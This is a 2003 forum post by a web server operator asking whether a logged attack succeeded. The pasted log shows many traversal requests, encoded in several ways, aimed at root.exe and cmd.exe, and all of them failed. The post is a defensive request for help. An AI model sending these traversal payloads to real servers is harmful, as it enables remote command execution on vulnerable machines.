This is obviously some kind of hacking attempt, it's the second I've seen in two days of running my server.
I don't know much about hacking, but I can see them trying to access the command function and the C: root.
I'm running Zonealarm Pro and I have Abyss limited to TCP port 80 traffic only.
How can I determine what success these commands might have had?
Is there anything I need to do?
Is there any hazard in continuing to run this server?
PS - I'm legally blind, but choosing the "large font" option at the top of this message still leaves me with a tiny, tiny, tiny font to enter the message with. I assume that option applies to how the font will appear once the message is entered, but why have the option if you still can't see what you're typing originally? Just a thought from the visually impaired to the developer.
Log entry:
68.56.247.241 - - [08/May/2003:05:56:54 +1133] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 266 "" ""
68.56.247.241 - - [08/May/2003:05:56:58 +1133] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 266 "" ""
68.56.247.241 - - [08/May/2003:05:57:02 +1133] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 266 "" ""
68.56.247.241 - - [08/May/2003:05:57:06 +1133] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 266 "" ""
68.56.247.241 - - [08/May/2003:05:57:09 +1133] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:13 +1133] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:17 +1133] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:21 +1133] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:24 +1133] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:27 +1133] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:32 +1133] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:37 +1133] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:51 +1133] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
68.56.247.241 - - [08/May/2003:05:57:54 +1133] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 268 "" ""
Thanks,
Carlton